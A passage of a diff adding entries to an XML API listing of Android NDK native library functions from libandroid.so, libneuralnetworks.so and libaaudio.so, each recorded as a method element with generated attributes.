+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getRepeatCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getTouchscreen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AObbInfo_getFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getInstanceForPackage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getInstance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getScanCode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistorySize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_setBuffersGeometry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getMcc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setSmallestScreenWidthDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getRawX" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_addFd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getRawY" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_getEvents" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AChoreographer_postFrameCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getDensity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setCountry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBANDROID" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_createHardwareBufferDirectChannel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getToolMinor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAssetManager_fromJava" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setScreenHeightDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setUiModeNight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_isObbMounted" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_openFileDescriptor64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_pollOnce" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AObbInfo_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getStringType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getEventTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getFifoMaxEventCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getSensorList" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_allocate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputEvent_getSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalRawX" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getHighestDirectReportRateLevel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalRawY" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getKeyboard" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getSdkVersion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_forThread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getRemainingLength64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_removeFd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalToolMajor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getAction" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getRemainingLength" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_createSharedMemoryDirectChannel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getMinDelay" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getScreenWidthDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_isWakeUpSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getNavHidden" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getScreenLong" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_finishEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_hasEvents" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ATrace_beginSection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_disableSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setOrientation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getLayoutDirection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getDefaultSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setTouchscreen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_getNativeHandle" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_destroyEventQueue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_fromSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_setEventRate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getNavigation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputEvent_getType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_unlockAndPost" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_diff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getScreenHeightDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setNavHidden" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setScreenWidthDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="android_setprocnetwork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setUiModeType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getYPrecision" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASharedMemory_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getYOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_recvHandleFromUnixSocket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalAxisValue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalTouchMajor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASharedMemory_getSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getXOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AObbInfo_getPackageName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_isAllocated" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_seek64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_sendHandleToUnixSocket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_seek" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getButtonState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AObbScanner_getObbInfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalOrientation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getMetaState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getTouchMinor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_toSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getLanguage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getDownTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_prepare" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getLength" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="android_getTtsEngine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getLength64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setScreenSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputEvent_getDeviceId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_openFileDescriptor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_match" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAssetDir_rewind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAssetManager_open" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ATrace_endSection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getX" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="android_setsocknetwork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getY" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getReportingMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_fromHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_detachLooper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getToolMajor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_finish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_showSoftInput" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AChoreographer_getInstance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setLanguage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalToolMinor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalPressure" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_fromAssetManager" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_configureDirectReport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_destroyDirectChannel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalEventTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalX" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalY" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_describe" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setLayoutDirection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_toHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setMnc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getSmallestScreenWidthDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getEdgeFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setSdkVersion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_hideSoftInput" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAssetDir_getNextFileName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_getMountedObbPath" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_hasEvents" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="android_getaddrinfofornetwork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setDensity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getMetaState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_unmountObb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setScreenLong" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getPressure" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASharedMemory_dupFromJava" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getResolution" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_registerSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libneuralnetworks.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksCompilation_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksEvent_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_setOperandValue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksMemory_createFromFd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_finish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksCompilation_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_setInputFromMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_setOperandValueFromMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBNEURALNETWORKS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksCompilation_finish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_setOutput" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksMemory_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksEvent_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_startCompute" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_addOperand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_setInput" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_identifyInputsAndOutputs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksCompilation_setPreference" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_setOutputFromMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_addOperation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libaaudio.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setChannelCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_requestFlush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getBufferSizeInFrames" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getTimestamp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_getMMapPolicy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_openStream" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_requestPause" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_convertResultToText" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_setMMapPolicy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getDeviceId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getDirection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getPerformanceMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setBufferCapacityInFrames" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setSharingMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBAAUDIO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getSamplesPerFrame" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setDeviceId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getSampleRate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getXRunCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_requestStop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFramesWritten" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_isMMapUsed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setPerformanceMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFramesRead" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
